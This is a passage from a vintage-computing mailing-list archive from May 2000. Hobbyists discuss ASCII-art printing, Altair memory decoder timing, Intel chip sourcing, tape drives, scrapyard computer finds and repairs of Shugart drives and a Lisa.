to me than using a typewriter. The teletype doesn't have the same freeform flexibility in two dimensions for positioning, not to mention the lack of a true erase. Lacking a scanner and driven to distraction by 24-hour turnaround on batch jobs, I'm sure many were crafted by hand. The images created by scanner (of whatever technology) have an obviously different feel to them compared to the hand-generated ones. I'd say that most of the Playboy centerfolds were done by hand. Think about it: it wouldn't be all that hard to draw a grid of 80 or 160 cells over an image that size and eye-ball a grey value for each cell. I have a delightful donation to my computer museum from an old RTTY guy who sent original 50-year-old print-outs and tapes of old images. - John From allain at panix.com Tue May 23 23:10:38 2000 From: allain at panix.com (John Allain) Date: Sun Feb 27 18:51:52 2005 Subject: good new/bad news on the VLC firmware References: <000a01bfc4be$f9d724c0$0e0301ac@dba00802.databaseamerica.com> Message-ID: <001601bfc536$04eb5260$8a0101ac@ibm23xhr06> I have 1 (one) i-D27210 pull that can go to a good home. John. > On Tue, 23 May 2000, Chuck McManis wrote: > > > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. From cmcmanis at mcmanis.com Wed May 24 02:06:31 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:52 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <018b01bfc4cd$72f34ab0$5d01a8c0@p2350> References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: <4.3.1.2.20000523234718.00e324e0@208.226.86.10> >Mine VLC have all 27c1024 in them. I ordered/got this parts without any >problems few weeks ago. Interesting, what does the banner say when it boots? Mine says 1.5-38E-V4.2 on the "most recent" one, the other says 1.3-xxx-Vxxxx. In response to Allison, these EPROMs are exactly under the video card so a daughter board is out of the question but one could put ribbon cables to some place else in the box. Of course if I was going to butcher it in that way I'd go ahead and put RAM there and a small processor to "download" the firmware, then I would have a VAXeln like systems :-) --Chuck From vonhagen at vonhagen.org Tue May 23 02:10:30 2000 From: vonhagen at vonhagen.org (William von Hagen) Date: Sun Feb 27 18:51:52 2005 Subject: Lisp Machines: Followup In-Reply-To: References: <001f01bfa1ea$f9d888c0$0400c0a8@winbook> Message-ID: <4.3.1.2.20000523030737.00de5890@vonhagen.org> In my researches, I've found that machines such as the Symbolics LM-2, the original LMI machine modelled after an LM-2, and systems such as the MIT CADR were all microcoded machines. I'd think that this argues for a less restrictive definition of LISP machines ;-) From jolminkh at nsw.bigpond.net.au Wed May 24 04:40:42 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:51:52 2005 Subject: New Finds Today Message-ID: <003801bfc564$219cf840$dadf8490@tp.nsw.bigpond.net.au> I have a PC5000 stashed away somewhere. Can't readily look at it but as I recall is uses bubble memory carts. John R. Keys Jr. wrote: >Had a good day today as I got a digital TK25 with cable and a Sharp >PC-500 portable computer with a built-in printer for 10 bucks total. The >PC-5000 has a very small but long liquid crystal display of 640x80 dots >and is one weird laptop computer. No power supply was with it and the >battery seems to be dead. Anyone know anything about it. Also picked From Huw.Davies at kerberos.davies.net.au Wed May 24 07:23:07 2000 From: Huw.Davies at kerberos.davies.net.au (Huw Davies) Date: Sun Feb 27 18:51:52 2005 Subject: Question about ASCII art In-Reply-To: References: <4.3.0.20000523173350.01f9f4a0@pc> Message-ID: <4.3.1.2.20000524222008.01e9a4c0@kerberos.davies.net.au> At 05:22 PM 23-05-00 -0700, Vintage Computer GAWD! wrote: >I was mostly referring to the ones done in the days before high-powered >workstations like SGI systems, where a feat such as scanning in a nekkid >lady would actually have been pushing the technological boundaries, not >just mocking them :) Well the last time I did this on a "classic computer" using appropriate technology was in about 1974. I had access to a PDP-9 with various analog input devices and a modified X-Y plotter which was driven by analog outputs and had some sort of photodetector (I didn't do the hardware). It was a simple case of putting the photo in the X-Y plotter, running the scanning program and then the "convert to printer character" program. If I recall correctly (:-) the scanning program was written in house, but the convert program was a DECUS submission.... From allisonp at world.std.com Wed May 24 07:39:58 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: <001301bfc52b$3a8f5200$0400c0a8@winbook> Message-ID: > (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL > parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS devices. > Therefore I'd suspect that the i8205 (and also the i3205) were strictly TTL, > or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 mA > as opposed to the schottky equivalent, the 'S138, which sinks somewhere > between 16 and 24 mA, depending on whose databook of that day you consult. > This was probably more specsmanship than technology, however. My intel data book set for the 1974-1981 window is fairly complete and the I8205 has the exact same specs ans the TI LS138. Intel did have bipolar fab back then and parts they did there included things like 3212, 300x, 8216/8126, 8224, 8228/38, an assortment of Bipolar PROMs and later part like 8282, 8283, 8219, 8284, 8284A and others. Their capability is limted so they did farm out stuff (under license) to TI and AMD. Allison From jhfine at idirect.com Wed May 24 07:45:56 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:51:52 2005 Subject: New Finds Today - Specifically the TK25 References: <022201bfc521$9b444b00$7d731fd1@default> Message-ID: <392BCF04.28F1A20C@idirect.com> >John R. Keys Jr. wrote: > Had a good day today as I got a digital TK25 with cable Jerome Fine replies: >From personal experience, a TK25 is about 25% faster than a TK50 (AFTER the tape has been tensioned the first time it is inserted - which may take as long as a few minutes - but can often be done while other things are happening - like booting the OS). In RT-11, I also use VBGEXE to increase the size of the buffers when I do a "/VERIFY:ONLY" command (yes I know - that notation can't be used with VBGEXE which requires CSI switches). I may have a spare controller. Do you have anything to swap? I may also have a few spare cartridges. The drive uses standard DC600A tapes (1/4" QIC cartridges). The only drawback compared to a TK50 is that the capacity is less than 2 RT-11 partitions, but when it comes to doing a "/VERIFY:ONLY" on a TK50, it takes so long that I never used the TK50 for regular backup, only as an off-site exchange media. And then, a VERIFY operation consisted of doing a RESTORE to a scratch partition followed by a BINCOM with the original file or partition. Sincerely yours, Jerome Fine From allisonp at world.std.com Wed May 24 07:45:42 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: <001b01bfc52d$4079fd80$0400c0a8@winbook> Message-ID: > select a bunch of memories, and one to select a bunch of '138's that > selected the memories. Back when small (1K-bit) memories were the most > common sort, there were lots of chips expecting to see that select strobe, > and the worst case load made the prop-delay long. Compared to the typical 500-650ns prop delay of common memories back in 1976 teh prop delay of the '138 was relatively short. > configuration might have been a bank of 72 2102's (they liked parity back > then) and about eight 1702's. One 138 would drive each of the rows of RAMs, I found it to be rare except in mainframes and then it was usually 4kx1 parts which were common and available. > layout I suggested. 2102's back then had a typical access time of 600 ns > and 1702's were somewhere between 750 and 1000 nanoseconds. I don't think > one could claim that 50 ns is negligible with a 2 MHz 8080 under those > conditions. It was. The 2102s were fast enough to run with no waits but 1702s were so slow another 50ns was nothing as waits were added in 500ns increments. By 1977 the 1702 was long gone and nearly history for anything other than hobby and existing production and the 2508/2716 were moving in fast with a 450ns Tacc. Allison From RCini at congressfinancial.com Wed May 24 08:06:37 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions Message-ID: <497A9E0467D2D2119B760090271EB8E50E9162@MAIL10> They always said that you learn something new every day. Thanks for the dual-ported tutorial. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Eric Smith [mailto:eric@brouhaha.com] Sent: Tuesday, May 23, 2000 5:45 PM To: classiccmp@classiccmp.org Subject: Re: Altair parts substitutions > This is what I meant exactly - no bi-directional data bus. I'm guessing that > there is a fine distinction between dual-ported and separate input and > output busses... Specifically, a true dual-ported RAM chip has separate address busses and control signals/strobes (*RD and *WR, or *CS and R/*W, or the like) for each port. Dual-port RAM chips tend to be expensive and not very high-density, so they aren't commonly found in commodity computer hardware. It's usually more cost-effective to time-multiplex a single port. Current manufacturers of dual-port RAM chips include Cypress and IDT. There are even some quad-port RAM chips now. From emu at ecubics.com Wed May 24 09:20:51 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:52 2005 Subject: EPROM 27c210 References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> <4.3.1.2.20000523234718.00e324e0@208.226.86.10> Message-ID: <004501bfc58b$461042a0$5d01a8c0@p2350> Hi, anybody has the datasheet, pinout of this EPROM ? (Intel, TI, ...) cheers & thanks, emanuel From rigdonj at intellistar.net Wed May 24 10:04:56 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:52 2005 Subject: another good CC day! Message-ID: <3.0.1.16.20000524100456.25b7b226@mailhost.intellistar.net> I stopped by one of my favorites scrap yards yesterday and found SIX Cromemco Z2D S-100 bus computers. They were getting ready to shove them into a container of scrap that was heading for China. These a nicely loaded copmputers that have two floppy drives and a hard drive. They were mounted in 19 inch racks and were used to operate some kind of test stations and were in perfect condition. I managed to get one more or less complete one and most of the cards out of the others but they wanted the racks to appear full so that won't let me have any of the other cases, power supplies or drives. I watched as one was smashed to half it's original size trying to make it fit in the shipping container and another was torn to shreds (20 pound computer vs 12,000 pound forklift). I substituted DEC stuff in the shipping container for the last three so they have a short reprieve. I think I've made a deal to swap some other rack mount stuff for the remaining cases and parts. (Keeping my fingers crossed!) I also found three TRS model 4s there. These just came in yesterday and should be safe until Saturday since the owner's are out of town till then. They appear to be complete and in good shape but have been in storage for a LONG time and are dirty and dusty. That's all I know about them. If anyone is in the central Florida area and wants one or all of the model 4s and can pick it up Saturday, contact me directly for directions. Joe From mmcfadden at cmh.edu Wed May 24 09:28:30 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:51:52 2005 Subject: ASCII art pictures Message-ID: <9C7BDA783D31D411B1E5009027FC28493C9992@EXCHANGE2> There was "actual" work done using ascii art. We used to plot growth curves of bacteria using ASCII characters. We looked at the growth patterns of 1000's of samples with varying concentrations of antibiotics included. This was very cumbersome and slow. We then purchased a Versatec printer to speed the process. Still ASCII plots but faster. One research run would consume an entire box of versatec paper. For recreation I developed a raster plotting version on the Versatec but it was much slower and computer intensive, it did do b/w pictures nicely. The next refinement after plain ASCII printer art was output on a Printronix P300 or P600. You could print raster pictures. The sound of the printer tipped off the staff to the production of a picture. Afterhours was always available. I may try and read my old tape and recover the images. I know it was scanned using a vidicon tube over a light box at 256 X 256 resolution 8 bits grayscale. I have kept and moved the tape for the last 25 years. Mike "Old computer guy" From richard at idcomm.com Wed May 24 09:55:27 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions References: Message-ID: <001101bfc590$1be1ab40$0400c0a8@winbook> Are you sure about that, Allison? I recall popping the lid off a ceramic-packaged Intel labelled 28-pin logic device back in the '70's and finding it housed a die clearly marked NS (under a microscope). In another case, it was a PROM and clearly marked with Signetics' logo on the die. Dick ----- Original Message ----- From: To: Sent: Wednesday, May 24, 2000 6:39 AM Subject: Re: Re[2]: Altair parts substitutions > > (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL > > parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS devices. > > Therefore I'd suspect that the i8205 (and also the i3205) were strictly TTL, > > or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 mA > > as opposed to the schottky equivalent, the 'S138, which sinks somewhere > > between 16 and 24 mA, depending on whose databook of that day you consult. > > This was probably more specsmanship than technology, however. > > > My intel data book set for the 1974-1981 window is fairly complete and the > I8205 has the exact same specs ans the TI LS138. Intel did have bipolar > fab back then and parts they did there included things like 3212, 300x, > 8216/8126, 8224, 8228/38, an assortment of Bipolar PROMs and later part > like 8282, 8283, 8219, 8284, 8284A and others. Their capability is limted > so they did farm out stuff (under license) to TI and AMD. > > Allison > > > From mmcfadden at cmh.edu Wed May 24 09:56:54 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:51:52 2005 Subject: ASCII art Message-ID: <9C7BDA783D31D411B1E5009027FC28493C9993@EXCHANGE2> I guess I must be an old school type of programmer. About 1975 each student seemed to have a program they developed. I used a Fortran program that had 3 arrays each 10 characters deep. You scaled the picture value into the range 0-9 and used the value as an offset into the array. You printed the line 3 time with out a line feed and then issued a line feed. Example: picture value array 1 array2 array3 0 space space space 1 period space space 2 colon space space 3 plus space space . . . 9 0 W M With this scheme you could build up a fairly dark spot for black points. Later versions included image processing to improve the look of the image. Histogram equalization makes visually much better pictures. Early weather maps are a good example of this type of image. I remember seeing punch card decks that had ASCII pictures in comments at the beginning. It made it easy to see if your output was coming off the printer when you saw the picture in the source. Mike "old code dog" From richard at idcomm.com Wed May 24 10:23:14 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions References: Message-ID: <001701bfc594$0aa54c20$0400c0a8@winbook> You missed my point, Allison. What I hoped you'd get from that message was that there were MANY parts involved in even a small memory array, which meant a longer decoder tree than what we'd use today, or even 15 years ago. Since the specified prop-delay is on the order of 35 ns, multiplied by two or three, the difference between the TTL parts at nominally 25 extra ns of prop delay per decoder, the prop-delay difference is significant, and it's especially so in the context of the slow memory devices of the time. If there were only a 250 ns access time for memory devices, it would have been insignificant because it consumed a small part of a large window. In this case, however it consumed a large part of what was left of the window after the access time was deducted from the window. I've embedded a few remarks below, too. Dick ----- Original Message ----- From: To: Sent: Wednesday, May 24, 2000 6:45 AM Subject: Re: Re[2]: Altair parts substitutions > > select a bunch of memories, and one to select a bunch of '138's that > > selected the memories. Back when small (1K-bit) memories were the most > > common sort, there were lots of chips expecting to see that select strobe, > > and the worst case load made the prop-delay long. > > Compared to the typical 500-650ns prop delay of common memories back in > 1976 teh prop delay of the '138 was relatively short. > > > > configuration might have been a bank of 72 2102's (they liked parity back > > then) and about eight 1702's. One 138 would drive each of the rows of RAMs, > > I found it to be rare except in mainframes and then it was usually 4kx1 > parts which were common and available. > In '77 I read one memorable article in which an IBM exec was complaining that they couldn't get enough of the 4kx1 i2147's (55 ns, 70 ns, 120 ns) to meet their needs. It was a couple of years yet, before we small users could even get the TI 4044, NS 5257, or i2141. They were still pretty costly in '79. > > > layout I suggested. 2102's back then had a typical access time of 600 ns > > and 1702's were somewhere between 750 and 1000 nanoseconds. I don't think > > one could claim that 50 ns is negligible with a 2 MHz 8080 under those > > conditions. > > It was. The 2102s were fast enough to run with no waits but 1702s were so > slow another 50ns was nothing as waits were added in 500ns increments. > That, precisely was the critical factor. Nobody wanted to run with more waits than absolutely necessary. > > By 1977 the 1702 was long gone and nearly history for anything other than > hobby and existing production and the 2508/2716 were moving in fast > with a 450ns Tacc. > Yes, but ... the 5-volt parts were costing on the order of $100 per piece. I bought a bunch for a project and still remember the "sticker-shock," though it wasn't any better a year later when I had to buy 2732's. In the latter case, I sold them for $25 each to a west-coast surplus vendor who turned around and sold them for $80 each. > In '77, Intel's boards were shipped populated with 2708's. I bought lots of their boards and even more of the EPROMS. 2102's were typically 600 ns, while the 21L02's, which were easier on the power budget, were quite expensive by comparison. This had changed significantly by late '78, as had the TTL market, but 450ns 21L02's weren't the fastest available. They were just what Intel shipped. That year Intel started shipping their 8020-4 boards which were the first ones I got with the 8080-A and 2708's in combination with 2114's. These were 450 ns parts. Within a year, they had shifted to an 8085 board numberd iSBC-8024 which used 8708's (just 5-volt 2708's) and those really silly 8185's which were srams with multiplexed address/data inputs compatible with the 8085's timing. By that time I decided to quit using Intel SBC's. > > Allison > > From allisonp at world.std.com Wed May 24 11:29:45 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: <001101bfc590$1be1ab40$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > Are you sure about that, Allison? I recall popping the lid off a > ceramic-packaged Intel labelled 28-pin logic device back in the '70's and > finding it housed a die clearly marked NS (under a microscope). In another > case, it was a PROM and clearly marked with Signetics' logo on the die. Yes, and so? It conforms with what I said. Now was that 28 pin device one of those listed? Also Nec made MOS devices for intel Namely 8274 and 8272 as well. Allison > > Dick > ----- Original Message ----- > From: > To: > Sent: Wednesday, May 24, 2000 6:39 AM > Subject: Re: Re[2]: Altair parts substitutions > > > > > (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL > > > parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS > devices. > > > Therefore I'd suspect that the i8205 (and also the i3205) were strictly > TTL, > > > or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 > mA > > > as opposed to the schottky equivalent, the 'S138, which sinks somewhere > > > between 16 and 24 mA, depending on whose databook of that day you > consult. > > > This was probably more specsmanship than technology, however. > > > > > > My intel data book set for the 1974-1981 window is fairly complete and the > > I8205 has the exact same specs ans the TI LS138. Intel did have bipolar > > fab back then and parts they did there included things like 3212, 300x, > > 8216/8126, 8224, 8228/38, an assortment of Bipolar PROMs and later part > > like 8282, 8283, 8219, 8284, 8284A and others. Their capability is limted > > so they did farm out stuff (under license) to TI and AMD. > > > > Allison > > > > > > > From allisonp at world.std.com Wed May 24 11:33:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: <001701bfc594$0aa54c20$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > You missed my point, Allison. What I hoped you'd get from that message was > that there were MANY parts involved in even a small memory array, which > meant a longer decoder tree than what we'd use today, or even 15 years ago. > Since the specified prop-delay is on the order of 35 ns, multiplied by two Ok, for the reading impaired. For a memeory system of those speeds 25ns is NOTHING or functionally close to it. The average S100 card was 32 or 64 2012s and most managed despite thge slow ttl and memories to hit the required speed for 8080 quite easily even with two layers of 74138 plus 7483s for mapping segments. Allison > or three, the difference between the TTL parts at nominally 25 extra ns of > prop delay per decoder, the prop-delay difference is significant, and it's > especially so in the context of the slow memory devices of the time. If > there were only a 250 ns access time for memory devices, it would have been > insignificant because it consumed a small part of a large window. In this > case, however it consumed a large part of what was left of the window after > the access time was deducted from the window. > > I've embedded a few remarks below, too. > > Dick > > ----- Original Message ----- > From: > To: > Sent: Wednesday, May 24, 2000 6:45 AM > Subject: Re: Re[2]: Altair parts substitutions > > > > > select a bunch of memories, and one to select a bunch of '138's that > > > selected the memories. Back when small (1K-bit) memories were the most > > > common sort, there were lots of chips expecting to see that select > strobe, > > > and the worst case load made the prop-delay long. > > > > Compared to the typical 500-650ns prop delay of common memories back in > > 1976 teh prop delay of the '138 was relatively short. > > > > > > > configuration might have been a bank of 72 2102's (they liked parity > back > > > then) and about eight 1702's. One 138 would drive each of the rows of > RAMs, > > > > I found it to be rare except in mainframes and then it was usually 4kx1 > > parts which were common and available. > > > In '77 I read one memorable article in which an IBM exec was complaining > that they couldn't get enough of the 4kx1 i2147's (55 ns, 70 ns, 120 ns) to > meet their needs. It was a couple of years yet, before we small users could > even get the TI 4044, NS 5257, or i2141. They were still pretty costly in > '79. > > > > > layout I suggested. 2102's back then had a typical access time of 600 > ns > > > and 1702's were somewhere between 750 and 1000 nanoseconds. I don't > think > > > one could claim that 50 ns is negligible with a 2 MHz 8080 under those > > > conditions. > > > > It was. The 2102s were fast enough to run with no waits but 1702s were so > > slow another 50ns was nothing as waits were added in 500ns increments. > > > That, precisely was the critical factor. Nobody wanted to run with more > waits than absolutely necessary. > > > > By 1977 the 1702 was long gone and nearly history for anything other than > > hobby and existing production and the 2508/2716 were moving in fast > > with a 450ns Tacc. > > > Yes, but ... the 5-volt parts were costing on the order of $100 per piece. > I bought a bunch for a project and still remember the "sticker-shock," > though it wasn't any better a year later when I had to buy 2732's. In the > latter case, I sold them for $25 each to a west-coast surplus vendor who > turned around and sold them for $80 each. > > > In '77, Intel's boards were shipped populated with 2708's. I bought lots of > their boards and even more of the EPROMS. 2102's were typically 600 ns, > while the 21L02's, which were easier on the power budget, were quite > expensive by comparison. This had changed significantly by late '78, as had > the TTL market, but 450ns 21L02's weren't the fastest available. They were > just what Intel shipped. That year Intel started shipping their 8020-4 > boards which were the first ones I got with the 8080-A and 2708's in > combination with 2114's. These were 450 ns parts. Within a year, they had > shifted to an 8085 board numberd iSBC-8024 which used 8708's (just 5-volt > 2708's) and those really silly 8185's which were srams with multiplexed > address/data inputs compatible with the 8085's timing. By that time I > decided to quit using Intel SBC's. > > > > Allison > > > > > From transit at lerctr.org Wed May 24 11:39:38 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:51:52 2005 Subject: Versatec and Printronix (was: Re: ASCII art pictures In-Reply-To: <9C7BDA783D31D411B1E5009027FC28493C9992@EXCHANGE2> Message-ID: On Wed, 24 May 2000, McFadden, Mike wrote: > There was "actual" work done using ascii art. We used to plot growth curves > of bacteria using ASCII characters. We looked at the growth patterns of > 1000's of samples with varying concentrations of antibiotics included. This > was very cumbersome and slow. We then purchased a Versatec printer to speed > the process. Still ASCII plots but faster. One research run would consume > an entire box of versatec paper. For recreation I developed a raster > plotting version on the Versatec but it was much slower and computer > intensive, it did do b/w pictures nicely. At my school (UC Santa Barbara, 1983-1987) a few of the "engineering" and "research" VAXen had Versatec printers. (They were considered too expensive for normal undergraduate use). > The next refinement after plain > ASCII printer art was output on a Printronix P300 or P600. You could print > raster pictures. The sound of the printer tipped off the staff to the > production of a picture. The UCSB Computer Center had a Printronix that could print dot-matrix printers, when sent the right codes. The UNIX plot commands worked nicely with it (as well as the Versatec's over in Engineering), giving me a few extra points in a lab writeup for a class that I was otherwise failing ... There was also a filter for troff output that would print on the Printronix, but it was kind of flakey (due to the limited memory on the PDP-11's over at the Computer Center) From elvey at hal.com Wed May 24 11:45:45 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: <001701bfc594$0aa54c20$0400c0a8@winbook> Message-ID: <200005241645.JAA12408@civic.hal.com> "Richard Erlacher" wrote: > > > > By 1977 the 1702 was long gone and nearly history for anything other than > > hobby and existing production and the 2508/2716 were moving in fast > > with a 450ns Tacc. > > > Yes, but ... the 5-volt parts were costing on the order of $100 per piece. > I bought a bunch for a project and still remember the "sticker-shock," > though it wasn't any better a year later when I had to buy 2732's. In the > latter case, I sold them for $25 each to a west-coast surplus vendor who > turned around and sold them for $80 each. > > Hi I find it interesting that after the 2716's were out for a while, and the price had dropped to someplace in the $5-$10 range someplace, the intel 2508's were still in the high $30's. This always amused me because there was no difference at all between the Intel 2716 and the 2508 other than the 2508 was a half bad 2716. I call that real good sales to take bad parts and get more for them. Intel had done this relabel trick because TI was taking their 2708 sales with their real 2508. When working at Intel, we used to get may of the dropout parts to use in our test kludges. We would test the 2508's to see what was bad in the other half and often, if the bad bits were not an issue, we would used them in place of 2716's. I may be incorrect about the 8205 having the negative input voltage. I was thinking about the 8212's that do have extended input voltage. It has been a long time since I was working with these things and much has gotten foggy. I don't remember exactly when 74S138's were first introduced relative to 8205's. I think that is may just have been an issue of the 74S138's were not in full production when Intel was designing things to work with their memories. By the time products were out, they may have seemed to be used at about the same time but when designing, you need to be a little ahead. Dwight From rutledge at cx47646-a.phnx1.az.home.com Wed May 24 12:01:07 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:53 2005 Subject: Versatec and Printronix (was: Re: ASCII art pictures In-Reply-To: ; from Charles P. Hobbs (SoCalTip) on Wed, May 24, 2000 at 11:39:38AM -0500 References: <9C7BDA783D31D411B1E5009027FC28493C9992@EXCHANGE2> Message-ID: <20000524100107.A12973@electron.quantum.int> On Wed, May 24, 2000 at 11:39:38AM -0500, Charles P. Hobbs (SoCalTip) wrote: > At my school (UC Santa Barbara, 1983-1987) a few of the "engineering" and > "research" VAXen had Versatec printers. (They were considered too > expensive for normal undergraduate use). Versatec must have made better ones later... when I was at McDonnell-Douglas they had a Versatec 4-color electrostatic plotter. It was a raster device... matter of fact there was an external rasterizer box which would convert vector plot data into the format needed by the plotter. They only did boring electrical diagrams without a lot of color but I used to wonder if it could do full pictures, seems like it could've. It was huge, about a 4 or 5 foot cube, and used a roll of paper the same width as d-size plotter paper. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From ard at p850ug1.demon.co.uk Wed May 24 12:33:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: Lisp Machines: Followup In-Reply-To: <4.3.1.2.20000523030737.00de5890@vonhagen.org> from "William von Hagen" at May 23, 0 03:10:30 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2132 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/c52ee65b/attachment.ksh From elvey at hal.com Wed May 24 13:19:40 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:53 2005 Subject: Shurgart drive question In-Reply-To: Message-ID: <200005241819.LAA13549@civic.hal.com> Hi I'm still working no my NIC-80. I'm having a data pattern sensitive problem. I'm not yet sure if it is in the SA900 drive or in the controller. When looking at the drive, there is a clock/data separator circuit. It uses two one shots. One is for the next clock cycle after a one was read and one is for the next clock cycle if there was no one read. I understand the issues of this shifting of the read data but I don't know how much these two one shots need to be adjusted. The SA800 TTL board also has the same circuit. I was hoping that someone with an old drive could put a 'scope on these two one shots and determine the nominal pulse widths they see? The test points are labled the same on both the SA900 and SA800 series drives as TP21 and TP24. They are negative going pulses. Dwight From jlewczyk at his.com Wed May 24 14:08:31 2000 From: jlewczyk at his.com (John Lewczyk) Date: Sun Feb 27 18:51:53 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: <200005241819.LAA13549@civic.hal.com> Message-ID: <000101bfc5b3$737a3570$013da8c0@Corellian> I just picked up a non-functioning Lisa 2 (which was an upgraded Lisa 1) and have lots of technical documentation, but nothing on the motherboard and wiring between powersupply, video and motherboard/cage assembly. I'd like to avoid tracing it all out if this info is available. The Lisa won't power up when I press the power switch (the power switch and both the front and back safety switches have checked out OK) and I'm attempting to locate that problem. Also, it appears that one 120 pin socket on the motherboard is missing a connector pin, and there is some amount of blue corrosion on the tops of the other connectors. What's the best way to clean off this kind of (light) corrosion (oxidation)? It appears to me that the motherboard socket that is missing one pin will need to be replaced. Anybody have any recommendations on how to best do this? The motherboard is a four layer board. I have soldering/desoldering experience, but I've never tackled an item with this many pins on a 4 layer board before. John Lewczyk From ard at p850ug1.demon.co.uk Wed May 24 12:39:39 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: When new advertising meets old computers In-Reply-To: <200005240153.SAA09757@eskimo.com> from "Derek Peschel" at May 23, 0 06:53:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 394 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/a0590270/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 24 12:38:07 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <00a101bfc51f$cf12d840$6d64c0d0@ajp166> from "allisonp" at May 23, 0 09:13:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 397 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/5552b72e/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 24 13:02:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: Versatec and Printronix (was: Re: ASCII art pictures In-Reply-To: <20000524100107.A12973@electron.quantum.int> from "Shawn T. Rutledge" at May 24, 0 10:01:07 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2016 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/5099a998/attachment.ksh From fauradon at mn.mediaone.net Wed May 24 14:25:25 2000 From: fauradon at mn.mediaone.net (FBA) Date: Sun Feb 27 18:51:53 2005 Subject: When new advertising meets old computers Message-ID: <003801bfc5b5$d6ec5c30$3c37d986@fauradon.beckman.com> As a matter of fact and in light of previous exploits on YOUR part yes we do expect you to remember it. If it was anyone else we wouldn't even bother to ask;) Francois >> >> > A maths book we used at school had a paper tape strip as part of the >> > picture on the cover, and that _did_ make sense when read as 5-level >> >> What did it say? > >Look, this was 20+ years ago, and I no longer have the book :-). Since >then I've seen _hundreds_ of pieces of paper tape, and had to read a >number of them by hand. You expect me to _remember_ one of them ??? :-) > >-tony From eric at brouhaha.com Wed May 24 14:35:57 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <20000524193557.30664.qmail@brouhaha.com> > [8205] [...] > I've just checked the schematics, and the chip I replaced (on the PROM > memory board (which uses 1702s, of course)) was a 3205. Same pinout as > the '138, etc. > Any idea if that's a renumbered TI part? The 8205 and 3205 are exactly the same part. From mark_k at iname.com Wed May 24 15:53:15 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:51:53 2005 Subject: Old Mac stuff FS in UK and DEC terminals Message-ID: Hi, I have a number of Mac base units, Apple Trinitron monitors and external SCSI 44MB & 88MB SyQuest drives for sale. I hope the prices are reasonable; they should be worth it for the parts value alone (memory, floppy drives, case, video card, PSU, CPU). Most of the Mac stuff is around 10 years old. Unless stated, everything is tested working and can be seen working. Collection from Dorchester, Dorset, England would be preferable. Also, would there be any interest in Digital 